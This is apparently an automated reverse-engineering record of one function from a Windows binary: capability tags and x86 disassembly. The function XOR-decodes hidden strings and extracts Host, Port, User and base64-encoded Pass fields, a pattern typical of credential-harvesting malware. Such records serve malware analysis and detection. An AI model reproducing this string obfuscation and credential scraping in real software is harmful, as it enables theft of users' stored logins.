Function at 0x44a716
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push 0x114
mov eax, 0x4703e6
call fcn.0046c4ec
xor ebx, ebx
mov dword [ebp - 0x78], 0xf
mov dword [ebp - 0x7c], ebx
mov byte [ebp - 0x8c], bl
mov dword [ebp - 4], ebx
movaps xmm0, xmmword [0x47e0c0]
push 2
pop eax
movsx ecx, al
mov byte [ebp - 0x70], al
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0x65636c63
mov dword [ebp - 0x34], 0x7a2c7067
mov word [ebp - 0x30], 0x6e6f
mov byte [ebp - 0x2e], bl
call fcn.0043e927
mov dword [ebp - 0x120], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0x120]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x6c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44a772
push 0x1a
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x70]
mov dword [ebp - 0x4c], eax
call fcn.0043e927
mov dword [ebp - 0x120], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0x120]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x6c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44a7ac
push dword [0x4874a0]
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x4c]
call fcn.0043ecf9
test eax, eax
jne 0x44a7dd
mov eax, ebx
jmp 0x44a7ee
mov dl, byte [ebp - 0x70]
mov ecx, ebx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 0x1a
jb 0x44a7e2
mov byte [eax + 0x1a], bl
sub esp, 0x18
mov edi, 0x485b90
mov ecx, esp
mov edx, edi
push eax
call fcn.004512f8
pop ecx
lea ecx, [ebp - 0x104]
call fcn.004407d9
add esp, 0x18
mov esi, eax
mov byte [ebp - 4], 1
mov al, 0x66
movaps xmm0, xmmword [0x47dc60]
movsx ecx, al
mov byte [ebp - 0x74], al
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0x14031512
mov dword [ebp - 0x38], 0x15140310
mov dword [ebp - 0x34], 0xa0b1e48
mov byte [ebp - 0x30], bl
call fcn.0043e927
mov dword [ebp - 0x120], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0x120]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x70], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44a84d
push 0x1c
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x74]
mov dword [ebp - 0x50], eax
call fcn.0043e927
mov dword [ebp - 0x120], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0x120]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x70], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44a887
push dword [0x4874a0]
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x50]
call fcn.0043ecf9
test eax, eax
jne 0x44a8b8
mov eax, ebx
jmp 0x44a8c9
mov dl, byte [ebp - 0x74]
mov ecx, ebx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 0x1c
jb 0x44a8bd
mov byte [eax + 0x1c], bl
sub esp, 0x18
mov edx, edi
mov ecx, esp
push eax
call fcn.004512f8
pop ecx
lea ecx, [ebp - 0xec]
call fcn.004407d9
add esp, 0x18
push esi
push eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2c]
push dword [ebp - 0x120]
call fcn.00452342
lea ecx, [ebp - 0xec]
call fcn.00450a63
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 5
call fcn.00450a63
push 0x478e64
lea ecx, [ebp - 0x2c]
call fcn.00452304
test al, al
jne 0x44ac62
xor edi, edi
mov esi, 0x479424
inc edi
push ecx
push str._Host_
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 6
call fcn.00450934
cmp eax, 0xffffffff
je 0x44ac3b
push ecx
push str._Host_
lea ecx, [ebp - 0x2c]
call fcn.00450934
add eax, 6
lea ecx, [ebp - 0x2c]
push eax
push ebx
call fcn.00450da5
push eax
lea ecx, [ebp - 0x2c]
call fcn.00450a3b
push ecx
push str.__Host_
lea ecx, [ebp - 0x2c]
call fcn.00450934
push eax
push ebx
lea eax, [ebp - 0xd4]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004508aa
push eax
mov edx, str._Host:
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xbc]
call fcn.004512a8
pop ecx
push esi
mov edx, eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xa4]
call fcn.00451348
pop ecx
mov byte [ebp - 4], 9
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x44a9c6
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x8c]
call fcn.00450e34
lea ecx, [ebp - 0xa4]
call fcn.00450a63
lea ecx, [ebp - 0xbc]
call fcn.00450a63
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 6
call fcn.00450a63
push ecx
push str._Port_
lea ecx, [ebp - 0x2c]
call fcn.00450934
add eax, 6
lea ecx, [ebp - 0x2c]
push eax
push ebx
call fcn.00450da5
push eax
lea ecx, [ebp - 0x2c]
call fcn.00450a3b
push ecx
push str.__Port_
lea ecx, [ebp - 0x2c]
call fcn.00450934
push eax
push ebx
lea eax, [ebp - 0xa4]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004508aa
push eax
mov edx, str._Port:
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xbc]
call fcn.004512a8
pop ecx
push esi
mov edx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xd4]
call fcn.00451348
pop ecx
mov byte [ebp - 4], 0xc
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x44aa73
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x8c]
call fcn.00450e34
lea ecx, [ebp - 0xd4]
call fcn.00450a63
lea ecx, [ebp - 0xbc]
call fcn.00450a63
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], 6
call fcn.00450a63
push ecx
push str._User_
lea ecx, [ebp - 0x2c]
call fcn.00450934
add eax, 6
lea ecx, [ebp - 0x2c]
push eax
push ebx
call fcn.00450da5
push eax
lea ecx, [ebp - 0x2c]
call fcn.00450a3b
push ecx
push str.__User_
lea ecx, [ebp - 0x2c]
call fcn.00450934
push eax
push ebx
lea eax, [ebp - 0xa4]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004508aa
push eax
mov edx, str._User:
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xbc]
call fcn.004512a8
pop ecx
push esi
mov edx, eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xd4]
call fcn.00451348
pop ecx
mov byte [ebp - 4], 0xf
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x44ab20
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x8c]
call fcn.00450e34
lea ecx, [ebp - 0xd4]
call fcn.00450a63
lea ecx, [ebp - 0xbc]
call fcn.00450a63
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], 6
call fcn.00450a63
push ecx
push str._Pass_encoding_base64__
lea ecx, [ebp - 0x2c]
call fcn.00450934
add eax, 0x18
lea ecx, [ebp - 0x2c]
push eax
push ebx
call fcn.00450da5
push eax
lea ecx, [ebp - 0x2c]
call fcn.00450a3b
push ecx
push str.__Pass_
lea ecx, [ebp - 0x2c]
call fcn.00450934
push eax
push ebx
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004508aa
mov edx, eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xa4]
call fcn.00440bc1
push eax
mov edx, str._Pass:
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xbc]
call fcn.004512a8
pop ecx
push 0x47d64c
mov edx, eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xd4]
call fcn.00451348
pop ecx
mov byte [ebp - 4], 0x13
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x44abe2
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x8c]
call fcn.00450e34
lea ecx, [ebp - 0xd4]
call fcn.00450a63
lea ecx, [ebp - 0xbc]
call fcn.00450a63
lea ecx, [ebp - 0xa4]
call fcn.00450a63
lea ecx, [ebp - 0x11c]
call fcn.00450a63
mov dword [ebp - 4], 5
jmp 0x44a930
mov byte [ebp - 4], 5
mov al, byte [0x487269]
test al, al
movzx ecx, al
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x1c], ebx
cmove ecx, edi
cmp dword [ebp - 0x18], 0x10
mov byte [0x487269], cl
cmovae eax, dword [ebp - 0x2c]
mov byte [eax], bl
push 0x478e64
lea ecx, [ebp - 0x8c]
call fcn.00452304
test al, al
jne 0x44ad6b
cmp dword [ebp - 0x78], 0x10
lea esi, [ebp - 0x8c]
movaps xmm0, xmmword [0x47dfa0]
cmovae esi, dword [ebp - 0x8c]
add al, 0x3b
mov edi, dword [ebp - 0x7c]
movsx ecx, al
mov byte [ebp - 0x70], al
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0x554e5458
mov dword [ebp - 0x34], 0x4f15484f
mov word [ebp - 0x30], 0x4f43
mov byte [ebp - 0x2e], bl
call fcn.0043e927
mov dword [ebp - 0x120], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0x120]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x6c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44acc5
push 0x1a
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x70]
mov dword [ebp - 0x4c], eax
call fcn.0043e927
mov dword [ebp - 0x120], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0x120]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x6c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44acff
push dword [0x4874a0]
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x4c]
call fcn.0043ecf9
test eax, eax
jne 0x44ad30
mov eax, ebx
jmp 0x44ad41
mov dl, byte [ebp - 0x70]
mov ecx, ebx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 0x1a
jb 0x44ad35
mov byte [eax + 0x1a], bl
mov ecx, dword [0x48726c]
mov edx, eax
push 3
push edi
push esi
call fcn.0042dc39
add esp, 0xc
mov dword [ebp - 0x7c], ebx
cmp dword [ebp - 0x78], 0x10
lea eax, [ebp - 0x8c]
cmovae eax, dword [ebp - 0x8c]
mov byte [eax], bl
lea ecx, [ebp - 0x2c]
call fcn.00450a63
lea ecx, [ebp - 0x8c]
call fcn.00450a63
call fcn.0046c439
ret